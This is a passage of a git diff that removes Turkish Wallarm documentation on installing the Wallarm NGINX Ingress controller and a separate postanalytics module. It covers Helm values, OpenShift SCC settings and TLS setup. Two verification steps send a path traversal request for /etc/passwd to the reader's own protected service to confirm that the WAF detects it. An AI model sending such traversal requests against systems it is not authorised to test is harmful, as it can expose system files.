Wallarm‑NGINX Ingress Controller’a zahmetsizce geçiş yapabilirsiniz. Değişimi tamamlamak için mevcut yapılandırmanızı yeni dağıtıma taşımanız yeterlidir. - - Hem mevcut Ingress controller’ı hem de Wallarm controller’ı aynı anda kullanmak için yapılandırma detayları için [Ingress Controller zincirleme kılavuzuna][chaining-doc] bakın. - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -!!! info "Ayrıca bakınız" - * [Ingress nedir?](https://kubernetes.io/docs/concepts/services-networking/ingress/) - * [Helm'in kurulumu](https://helm.sh/docs/intro/install/) - -## Bilinen kısıtlamalar - -* Postanalytics modülü olmadan çalıştırma desteklenmez. -* Postanalytics modülünün küçültülmesi saldırı verilerinin kısmi kaybına yol açabilir. - -## Kurulum {#installation} - -1. Wallarm Ingress controller’ı [kurun](#step-1-installing-the-wallarm-ingress-controller). -2. Ingress’iniz için trafik analizini [etkinleştirin](#step-2-enabling-traffic-analysis-for-your-ingress). -3. Wallarm Ingress controller’ın çalışmasını [kontrol edin](#step-3-checking-the-wallarm-ingress-controller-operation). - -### Adım 1: Wallarm Ingress Controller'ın kurulumu {#step-1-installing-the-wallarm-ingress-controller} - -Wallarm Ingress Controller’ı kurmak için: - -1. [Uygun türde][node-token-types] bir filtreleme düğümü belirteci (token) oluşturun: - - === "API belirteci (Helm chart 4.6.8 ve üzeri)" - 1. Wallarm Console → **Settings** → **API tokens**’ı [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API belirtecini bulun veya oluşturun. - 1. Bu belirteci kopyalayın. - === "Düğüm belirteci" - 1. Wallarm Console → **Nodes**’u [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. **Wallarm node** türünde bir filtreleme düğümü oluşturun ve üretilen belirteci kopyalayın. - - ![Bir Wallarm düğümünün oluşturulması][nginx-ing-create-node-img] -1. Wallarm Ingress controller ile Helm chart’ı dağıtmak için bir Kubernetes namespace’i oluşturun: - - ```bash - kubectl create namespace - ``` -1. [Wallarm chart deposunu](https://charts.wallarm.com/) ekleyin: - - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -1. [Wallarm yapılandırmasıyla][configure-nginx-ing-controller-docs] `values.yaml` dosyasını oluşturun. Minimum yapılandırmaya sahip örnek dosya aşağıdadır. - - Bir API belirteci kullanırken, `nodeGroup` parametresinde bir düğüm grubu adı belirtin. Düğümünüz bu gruba atanacak ve Wallarm Console’un **Nodes** bölümünde görünecektir. Varsayılan grup adı `defaultIngressGroup`’dur. - - === "US Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - apiHost: "us1.api.wallarm.com" - # nodeGroup: defaultIngressGroup - ``` - === "EU Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - # nodeGroup: defaultIngressGroup - ``` - - Wallarm düğüm belirtecini Kubernetes secrets içinde saklayabilir ve Helm chart’a çekebilirsiniz. [Daha fazla bilgi][controllerwallarmexistingsecret-docs] - - !!! info "Kendi kayıtlarınızdan dağıtım" - Wallarm Ingress controller’ı [kendi kayıtlarınızdaki imajlardan](#deployment-from-your-own-registries) kurmak için `values.yaml` dosyasının öğelerini ezebilirsiniz. - -1. Wallarm paketlerini kurun: - - ``` bash - helm install --version 6.5.1 wallarm/wallarm-ingress -n -f - ``` - - * ``: Ingress controller chart’ının Helm sürümü için ad - * ``: Wallarm Ingress controller ile Helm chart’ı için oluşturduğunuz Kubernetes namespace’i - * ``: `values.yaml` dosyasının yolu - -### Adım 2: Ingress’iniz için trafik analizini etkinleştirme {#step-2-enabling-traffic-analysis-for-your-ingress} - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-application="" -``` -* ``: Ingress’inizin adı -* ``: Ingress’inizin namespace’i -* ``: [Uygulamalarınız veya uygulama gruplarınızdan][application-docs] her biri için benzersiz olan pozitif bir sayıdır. Bu, ayrı istatistikler almanıza ve ilgili uygulamalara yönelik saldırıları ayırt etmenize olanak tanır - -### Adım 3: Wallarm Ingress Controller’ın çalışmasını kontrol etme {#step-3-checking-the-wallarm-ingress-controller-operation} - -1. Pod listesini alın: - ``` - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Wallarm pod durumu **STATUS: Running** ve **READY: N/N** olmalıdır: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` -2. Ingress Controller Service’e test [Yol Geçişi][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ```bash - curl http:///etc/passwd - ``` - - Filtreleme düğümü `block` modunda çalışıyorsa, isteğe verilen yanıtta `403 Forbidden` kodu döner ve saldırı Wallarm Console → **Attacks** içinde görüntülenir. - -## ARM64 dağıtımı - -NGINX Ingress controller’ın Helm chart sürümü 4.8.2 ile ARM64 işlemci uyumluluğu sunulmuştur. Başlangıçta x86 mimarileri için ayarlanmışken, ARM64 düğümlerine dağıtım Helm chart parametrelerinin değiştirilmesini gerektirir. - -ARM64 ayarlarında, Kubernetes düğümleri genellikle `arm64` etiketi taşır. Kubernetes scheduler’ın Wallarm iş yükünü uygun düğüm türüne atamasına yardımcı olmak için, Wallarm Helm chart yapılandırmasında bu etikete `nodeSelector`, `tolerations` veya affinity kurallarıyla referans verin. - -Aşağıda, ilgili düğümler için `kubernetes.io/arch: arm64` etiketini kullanan Google Kubernetes Engine (GKE) için Wallarm Helm chart örneği verilmiştir. Bu şablon, ARM64 etiketleme kurallarına saygı duyularak diğer bulut kurulumlarıyla uyumlu olacak şekilde değiştirilebilir. - -=== "nodeSelector" - ```yaml - controller: - nodeSelector: - kubernetes.io/arch: arm64 - admissionWebhooks: - nodeSelector: - kubernetes.io/arch: arm64 - patch: - nodeSelector: - kubernetes.io/arch: arm64 - wallarm: - postanalytics: - nodeSelector: - kubernetes.io/arch: arm64 - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # EU Cloud kullanıyorsanız bu satırı yorumlayın - # Bir API belirteci kullanıyorsanız, aşağıdaki satırı yorumdan çıkarın ve düğüm grup adınızı belirtin - # nodeGroup: defaultIngressGroup - ``` -=== "tolerations" - ```yaml - controller: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - admissionWebhooks: - patch: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - wallarm: - postanalytics: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # EU Cloud kullanıyorsanız bu satırı yorumlayın - # Bir API belirteci kullanıyorsanız, aşağıdaki satırı yorumdan çıkarın ve düğüm grup adınızı belirtin - # nodeGroup: defaultIngressGroup - ``` - -## Kendi kayıtlarınızdan dağıtım {#deployment-from-your-own-registries} - -Bazı nedenlerle, örneğin şirket güvenlik politikanız herhangi bir harici kaynağın kullanımını kısıtladığı için Wallarm genel deposundan Docker imajlarını çekemiyorsanız, bunun yerine: - -1. Bu imajları özel kayıtlarınıza klonlayın. -1. Bunları kullanarak Wallarm NGINX tabanlı Ingress controller’ı kurun. - -NGINX tabanlı Ingress Controller dağıtımı için Helm chart tarafından aşağıdaki Docker imajları kullanılır: - -* [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) -* [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) - -Kayıtlarınızda depolanan imajları kullanarak Wallarm NGINX tabanlı Ingress controller’ı kurmak için, Wallarm Ingress controller Helm chart’ının `values.yaml` dosyasını aşağıdaki şekilde değiştirin: - -```yaml -controller: - image: - ## Wallarm nginx ingress controller için imaj ve etiket - ## - registry: - image: wallarm/ingress-controller - tag: - wallarm: - helpers: - ## Yardımcı imaj için imaj ve etiket - ## - image: /wallarm/node-helpers - tag: -``` - -Ardından, değiştirilmiş `values.yaml` dosyanızı kullanarak kurulumu çalıştırın. - -## OpenShift’te Security Context Constraints (SCC) - -NGINX Ingress Controller’ı OpenShift üzerinde dağıtırken, platformun güvenlik gereksinimlerine uygun özel bir Security Context Constraint (SCC) tanımlamak gerekir. Varsayılan kısıtlamalar Wallarm çözümü için yetersiz kalabilir ve hatalara yol açabilir. - -Aşağıda, Wallarm NGINX Ingress Controller için önerilen özel SCC yer almaktadır. - -!!! warning "Controller'ı dağıtmadan önce SCC'yi uygulayın" - SCC’nin Wallarm NGINX Ingress controller dağıtımından **önce** uygulanmış olduğundan emin olun. - -1. Özel SCC’yi aşağıdaki gibi `wallarm-scc.yaml` dosyasında tanımlayın: - - ```yaml - --- - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-ingress-admission provides features similar to restricted-v2 SCC - but pins user id to 65532 and is more restrictive for volumes - name: wallarm-ingress-admission - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAs - uid: 65532 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - projected - --- - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-ingress-controller provides features similar to restricted-v2 SCC - but pins user id to 101 and is a little more restrictive for volumes - name: wallarm-ingress-controller - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAs - uid: 101 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - configMap - - secret - - emptyDir - ``` -1. Bu politikayı kümeye uygulayın: - - ``` - kubectl apply -f wallarm-scc.yaml - ``` -1. NGINX Ingress controller’ın dağıtılacağı bir Kubernetes namespace’i oluşturun, örneğin: - - ```bash - kubectl create namespace wallarm-ingress - ``` -1. Wallarm Ingress controller iş yüklerinin bu SCC politikasını kullanmasına izin verin: - - ```bash - oc adm policy add-scc-to-user wallarm-ingress-admission \ - -z -wallarm-ingress-admission -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z -wallarm-ingress -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z default -n wallarm-ingress - ``` - - * ``: `helm install` sırasında kullanacağınız Helm sürüm adı. - * `-n wallarm-ingress`: NGINX Ingress controller’ın dağıtılacağı namespace (yukarıda oluşturuldu). - - Örneğin, `wallarm-ingress` namespace’i ve `wlrm-ingress` Helm sürüm adıyla: - - ```bash - oc adm policy add-scc-to-user wallarm-ingress-admission \ - -z wlrm-ingress-wallarm-ingress-admission -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z wlrm-ingress-wallarm-ingress -n wallarm-ingress - - oc adm policy add-scc-to-user wallarm-ingress-controller \ - -z default -n wallarm-ingress - ``` -1. Yukarıda belirtilen aynı namespace ve Helm sürüm adını kullanarak [Wallarm NGINX Ingress controller’ı dağıtın](#installation). -1. Doğru SCC’nin Wallarm pod’larına uygulandığını doğrulayın: - - ```bash - WALLARM_INGRESS_NAMESPACE="" - POD=$(kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=controller" | cut -d '/' -f 2) - kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - - WALLARM_INGRESS_NAMESPACE="" - POD=$(kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pods -o name -l "app.kubernetes.io/component=controller-wallarm-wstore" | cut -d '/' -f 2) - kubectl -n ${WALLARM_INGRESS_NAMESPACE} get pod ${POD} -o jsonpath='{.metadata.annotations.openshift\.io\/scc}{"\n"}' - ``` - - Beklenen çıktı `wallarm-ingress-controller`’dır. - -## Yapılandırma - -Wallarm Ingress controller başarıyla kurulduktan ve kontrol edildikten sonra aşağıdakiler gibi gelişmiş yapılandırmalar yapabilirsiniz: - -* [Son kullanıcı herkese açık IP adresinin doğru raporlanması][best-practices-for-public-ip] -* [IP adreslerinin engellenmesinin yönetimi][ip-lists-docs] -* [Yüksek erişilebilirlik ile ilgili hususlar][best-practices-for-high-availability] -* [Ingress Controller izleme][best-practices-for-ingress-monitoring] - -Gelişmiş yapılandırma için kullanılan parametreleri ve ilgili talimatları bulmak üzere lütfen [bağlantıyı][configure-nginx-ing-controller-docs] takip edin. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-nginx-overview.md b/docs/latest-tr/admin-en/installation-nginx-overview.md deleted file mode 100644 index 8f8762abc2..0000000000 --- a/docs/latest-tr/admin-en/installation-nginx-overview.md +++ /dev/null @@ -1,62 +0,0 @@ -# Kurulum seçeneklerine genel bakış - -[img-postanalytics-options]: ../images/installation-nginx-overview/postanalytics-options.png -[img-nginx-options]: ../images/installation-nginx-overview/nginx-options.png - -[anchor-mod-overview]: #modules-overview -[anchor-mod-installation]: #installing-and-configuring-the-modules -[anchor-mod-inst-nginx]: #module-for-nginx -[anchor-mod-inst-nginxplus]: #module-for-nginx-plus -[anchor-mod-inst-postanalytics]: #postanalytics-module - -[link-ig-nginx]: ../installation/nginx/dynamic-module.md -[link-ig-nginx-distr]: ../installation/nginx/dynamic-module-from-distr.md -[link-ig-nginxplus]: ../installation/nginx-plus.md - - - -NGINX veya NGINX Plus ile kullanılan Wallarm filtreleme düğümü aşağıdaki modüllerden oluşur: -* NGINX (NGINX Plus) ile bağlantı kuran modül -* Postanalytics modülü - -Modüllerin kurulum ve yapılandırma sırası, NGINX veya NGINX Plus'ı nasıl kurduğunuza bağlıdır. - -Bu belge aşağıdaki bölümleri içerir: - -* [Modüllere genel bakış][anchor-mod-overview] -* Belirli modül kurulum ve yapılandırma talimatlarına [bağlantılar][anchor-mod-installation] - -## Modüllere genel bakış - -Filtreleme düğümü istekleri işlemek için kullanıldığında, gelen trafik önce ilk işlemden, ardından Wallarm modülleri tarafından gerçekleştirilen işlemden sıralı olarak geçer. - -1. İlk trafik işleme, sistemde zaten kurulu olan [NGINX][anchor-mod-inst-nginx] veya [NGINX Plus][anchor-mod-inst-nginxplus] ile bağlantı kuran modül tarafından gerçekleştirilir. -2. Sonraki trafik işleme, düzgün çalışmak için önemli miktarda belleğe ihtiyaç duyan [postanalytics modülü][anchor-mod-inst-postanalytics] tarafından gerçekleştirilir. Bu nedenle aşağıdaki kurulum seçeneklerinden birini seçebilirsiniz: - * Sunucu yapılandırmaları buna izin veriyorsa NGINX/NGINX Plus ile aynı sunuculara kurulum - * NGINX/NGINX Plus'tan ayrı bir sunucu grubuna kurulum - -![Postanalytics Modülü Kurulum Seçenekleri][img-postanalytics-options] - -## Modüllerin kurulumu ve yapılandırılması - -### NGINX için modül - -!!! warning "Yüklenecek modülün seçimi" - Wallarm modülünün kurulumu ve bağlantı prosedürleri, kullandığınız NGINX kurulum yöntemine bağlıdır. - -NGINX için Wallarm modülü aşağıdaki kurulum yöntemlerinden biriyle bağlanabilir (parantez içinde her kurulum seçeneğine ait talimatların bağlantıları listelenmiştir): - -![NGINX için Modül Kurulum Seçenekleri][img-nginx-options] - -* NGINX'i kaynak dosyalardan derlemek ([talimat][link-ig-nginx]) -* NGINX paketlerini NGINX deposundan kurmak ([talimat][link-ig-nginx]) -* NGINX paketlerini Debian deposundan kurmak ([talimat][link-ig-nginx-distr]) -* NGINX paketlerini CentOS deposundan kurmak ([talimat][link-ig-nginx-distr]) - -### NGINX Plus için modül - -Bu [talimatlar][link-ig-nginxplus], Wallarm'ın bir NGINX Plus modülüne nasıl bağlanacağını açıklar. - -### Postanalytics modülü - -Postanalytics modülünün kurulumu ve yapılandırmasına ilişkin talimatlar (NGINX/NGINX Plus ile aynı sunucuda veya ayrı bir sunucuda) [NGINX][anchor-mod-inst-nginx] modülünün kurulumu ve [NGINX Plus][anchor-mod-inst-nginxplus] modülünün kurulumu bölümlerinde yer almaktadır. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/installation-postanalytics-en.md b/docs/latest-tr/admin-en/installation-postanalytics-en.md deleted file mode 100644 index a904ea68c7..0000000000 --- a/docs/latest-tr/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1,426 +0,0 @@ -[configure-selinux-instr]: configure-selinux.md -[configure-proxy-balancer-instr]: configuration-guides/access-to-wallarm-api-via-proxy.md -[img-wl-console-users]: ../images/check-user-no-2fa.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# Ayrı Postanalytics Modülünün Kurulumu - -Wallarm’ın istek işleme süreci iki aşamadan oluşur; bunlardan biri istatistiksel istek analizi yapan postanalytics aşamasıdır. Postanalytics bellek açısından yoğun olduğundan, performansı optimize etmek için ayrı bir sunucuda çalıştırılması gerekebilir. Bu makale, postanalytics modülünün ayrı bir sunucuya nasıl kurulacağını açıklar. - -## Genel Bakış - -Wallarm düğümünde isteklerin işlenmesi iki aşamadan oluşur: - -* Bellek açısından talepkâr olmayan ve sunucu gereksinimlerini değiştirmeden ön uç sunucularda çalıştırılabilen NGINX‑Wallarm modülünde birincil işleme. -* İşlenmiş isteklerin istatistiksel analizi olan ve bellek açısından talepkâr olan postanalytics modülü. - -Aşağıdaki şemalar, modüllerin aynı sunucuda ve farklı sunucularda kurulu olduğu iki senaryoda etkileşimini göstermektedir. - -=== "NGINX‑Wallarm ve postanalytics tek sunucuda" - ![Postanalytics ve nginx-wallarm arasındaki trafik akışı](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-the-same-server.png) -=== "NGINX‑Wallarm ve postanalytics farklı sunucularda" - ![Postanalytics ve nginx-wallarm arasındaki trafik akışı](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-different-servers.png) - -## Gereksinimler - ---8<-- "../include/waf/installation/all-in-one/separate-postanalytics-reqs.md" - -## Adım 1: Tümleşik Wallarm yükleyicisini indirin - -Tümleşik Wallarm kurulum betiğini indirmek için şu komutu çalıştırın: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.x86_64-glibc.sh - ``` -=== "ARM64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.aarch64-glibc.sh - ``` - -## Adım 2: Wallarm token’ını hazırlayın - -Düğümü kurmak için [uygun türde][wallarm-token-types] bir Wallarm token’ına ihtiyacınız olacak. Token hazırlamak için: - -=== "API token" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. - 1. `Node deployment/Deployment` kullanım türüne sahip bir API token’ı bulun veya oluşturun. - 1. Bu token’ı kopyalayın. - -=== "Node token" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın. - 1. Aşağıdakilerden birini yapın: - * **Wallarm node** türünde bir düğüm oluşturun ve üretilen token’ı kopyalayın. - * Mevcut düğüm grubunu kullanın - düğüm menüsünden → **Copy token** ile token’ı kopyalayın. - -## Adım 3: Postanalytics’i kurmak için tümleşik Wallarm yükleyicisini çalıştırın - -Postanalytics’i tümleşik yükleyici ile ayrı olarak kurmak için: - -=== "API token" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplaması için kullanılır). - -=== "Node token" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh postanalytics - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh postanalytics - ``` - -## Adım 4: Postanalytics modülünü yapılandırın - -### Kaynaklar ve bellek - -wstore’un ne kadar bellek kullandığını değiştirmek için `/opt/wallarm/env.list` dosyasındaki `SLAB_ALLOC_ARENA` ayarına bakın. Varsayılan olarak 1 GB kullanacak şekilde ayarlanmıştır. Değiştirmek gerekirse, değeri wstore’un ihtiyaç duyduğu gerçek bellek miktarına uyacak şekilde ayarlayabilirsiniz. Ne kadar ayarlanacağına dair yardım için [önerilerimize](configuration-guides/allocate-resources-for-node.md) bakın. - -Ayrılan belleği değiştirmek için: - -1. `/opt/wallarm/env.list` dosyasını düzenlemek üzere açın: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. `SLAB_ALLOC_ARENA` özniteliğini bellek boyutuna ayarlayın. Değer bir tam sayı veya ondalık (ondalık ayırıcı olarak nokta `.`) olabilir. Örneğin: - - ``` - SLAB_ALLOC_ARENA=2.0 - ``` - -### Ana makine ve port - -Varsayılan olarak, postanalytics modülü ana makinenin tüm IPv4 adreslerinde (0.0.0.0) 3313 portunu kullanarak bağlantıları kabul edecek şekilde ayarlanmıştır. Değişiklik gerekmiyorsa varsayılan yapılandırmanın korunması önerilir. - -Bununla birlikte, varsayılan yapılandırmayı değiştirmeniz gerekiyorsa: - -1. Postanalytics hizmetinin bulunduğu makinede, `/opt/wallarm/wstore/wstore.yaml` dosyasını düzenlemek üzere açın: - - ```bash - sudo vim /opt/wallarm/wstore/wstore.yaml - ``` -1. `service.address` parametresine yeni IP adresi ve port değerlerini belirtin, örneğin: - - ```yaml - service: - address: 192.158.1.38:3313 - ``` - - `service.address` parametresi aşağıdaki değer biçimlerine izin verir: - - * IP adresi:Port, ör. `192.158.1.38:3313` - * Tüm IP’lerde belirli port, ör. `:3313` -1. Postanalytics hizmetinin bulunduğu makinede, `/opt/wallarm/etc/wallarm/node.yaml` dosyasını düzenlemek üzere açın: - - ```bash - sudo vim /opt/wallarm/etc/wallarm/node.yaml - ``` -1. `wstore.host` ve `wstore.port` parametrelerinde yeni IP adresi ve port değerlerini belirtin, örneğin: - ```yaml - api: - uuid: - secret: - wstore: - host: '0.0.0.0' - port: 3300 - ``` - -## Adım 5: Postanalytics modülü için gelen bağlantıları etkinleştirin - -Postanalytics modülü varsayılan olarak 3313 portunu kullanır, ancak bazı bulut platformları bu porttaki gelen bağlantıları engelleyebilir. - -Entegrasyonu garanti etmek için, 3313 portu veya özel portunuz üzerinde gelen bağlantılara izin verin. Bu adım, ayrı kurulan NGINX‑Wallarm modülünün wstore örneğine bağlanabilmesi için gereklidir. - -## Adım 6: Wallarm servislerini yeniden başlatın - -Gerekli değişiklikleri yaptıktan sonra, güncellemeleri uygulamak için postanalytics modülünü barındıran makinedeki Wallarm servislerini yeniden başlatın: - -``` -sudo systemctl restart wallarm.service -``` - -## Adım 7: NGINX‑Wallarm modülünü ayrı bir sunucuya kurun - -Postanalytics modülü ayrı sunucuya kurulduktan sonra: - -1. Farklı bir sunucuya NGINX‑Wallarm modülünü ilgili [kılavuzu](../installation/nginx/all-in-one.md) izleyerek kurun. -1. NGINX‑Wallarm modülünün kurulum betiğini ayrı sunucuda çalıştırırken `filtering` seçeneğini ekleyin, örneğin: - - === "API token" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - - `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI içinde düğümlerin mantıksal gruplaması için kullanılır). - - === "Node token" - ```bash - # x86_64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.x86_64-glibc.sh filtering - - # ARM64 sürümünü kullanıyorsanız: - sudo sh wallarm-6.5.1.aarch64-glibc.sh filtering - ``` - -## Adım 8: NGINX‑Wallarm modülünü postanalytics modülüne bağlayın - -NGINX‑Wallarm modülünün kurulu olduğu makinede, NGINX [yapılandırma dosyasında](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) (genellikle `/etc/nginx/nginx.conf`), postanalytics modülü sunucu adresini belirtin: - -``` -http { - # omitted - - upstream wallarm_wstore { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - wallarm_wstore_upstream wallarm_wstore; - - # omitted -} -``` - -* Aşırı bağlantı oluşturulmasını önlemek için her bir upstream wstore sunucusu için `max_conns` değeri belirtilmelidir. -* `keepalive` değeri, wstore sunucularının sayısından düşük olmamalıdır. - -Yapılandırma dosyası değiştirildikten sonra, NGINX‑Wallarm modülü sunucusunda NGINX/NGINX Plus’ı yeniden başlatın: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## Adım 9: NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini kontrol edin - -NGINX‑Wallarm ve ayrı postanalytics modüllerinin etkileşimini kontrol etmek için, korunan uygulamanın adresine test saldırısı içeren bir istek gönderebilirsiniz: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarm ve ayrı postanalytics modülleri doğru yapılandırılmışsa, saldırı Wallarm Cloud’a yüklenecek ve Wallarm Console’un **Attacks** bölümünde görüntülenecektir: - -![Arayüzde Attacks](../images/admin-guides/test-attacks-quickstart.png) - -Saldırı Cloud’a yüklenmediyse, lütfen servislerin çalışmasında hata olmadığından emin olun: - -* Postanalytics modülü günlüklerini analiz edin - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/wstore-out.log - ``` - - `SystemError binary: failed to bind: Cannot assign requested address` benzeri bir kayıt varsa, sunucunun belirtilen adres ve port üzerinden bağlantı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, NGINX günlüklerini analiz edin: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - `[error] wallarm:
              connect() failed` benzeri bir kayıt varsa, ayrı postanalytics modülünün adresinin NGINX‑Wallarm modülü yapılandırma dosyalarında doğru belirtildiğinden ve ayrı postanalytics sunucusunun belirtilen adres ve port üzerinden bağlantı kabul ettiğinden emin olun. -* NGINX‑Wallarm modülünün bulunduğu sunucuda, aşağıdaki komutla işlenen isteklerin istatistiğini alın ve `tnt_errors` değerinin 0 olduğundan emin olun - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [İstatistik servisinin döndürdüğü tüm parametrelerin açıklaması →](configure-statistics-service.md) - -## NGINX‑Wallarm modülü ile postanalytics modülü arasında SSL/TLS ve mTLS - -İsteğe bağlı olarak, NGINX‑Wallarm modülü ile postanalytics arasında SSL/TLS üzerinden güvenli bağlantı kurabilirsiniz. Hem tek yönlü sunucu sertifikası doğrulaması hem de karşılıklı TLS desteklenir. - -6.2.0 sürümünden itibaren kullanılabilir. - -### Postanalytics modülüne SSL/TLS bağlantısı - -NGINX‑Wallarm modülünden postanalytics modülüne güvenli SSL/TLS bağlantısını etkinleştirmek için: - -1. Çalışan postanalytics modülünün ana makinesinin FQDN’i veya IP adresi için bir sunucu sertifikası çıkarın. -1. Postanalytics sunucusunda, `/opt/wallarm/wstore/wstore.yaml` dosyasında SSL/TLS’i etkinleştirin: - - ```yaml - service: - TLS: - enabled: true - address: 0.0.0.0:6388 - certFile: "/opt/wallarm/wstore/wstore.crt" - keyFile: "/opt/wallarm/wstore/wstore.key" - # caCertFile: "/opt/wallarm/wstore/wstore-ca.crt" - ``` - - * `enabled`: postanalytics modülü için SSL/TLS’i etkinleştirir veya devre dışı bırakır. Varsayılan `false`’tur. - * `address`: postanalytics modülünün gelen TLS bağlantılarını kabul ettiği adres ve port. Belirtilen adresin gelen bağlantılara izin vermesi gerekir. - * `certFile`: TLS el sıkışması sırasında istemciye (NGINX‑Wallarm modülü) sunulan sunucu sertifikasının yolu. - * `keyFile`: sunucu sertifikasına karşılık gelen özel anahtarın yolu. - * `caCertFile` (isteğe bağlı): sunucu için özel CA sertifikasının yolu. -1. Postanalytics sunucusunda Wallarm servislerini yeniden başlatın: - - ``` - sudo systemctl restart wallarm.service - ``` -1. NGINX‑Wallarm sunucusunda, NGINX [yapılandırma dosyasında](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) (genellikle, `/etc/nginx/nginx.conf`): - - 1. TLS üzerinden postanalytics için kullanılan upstream’i yapılandırın. - 1. 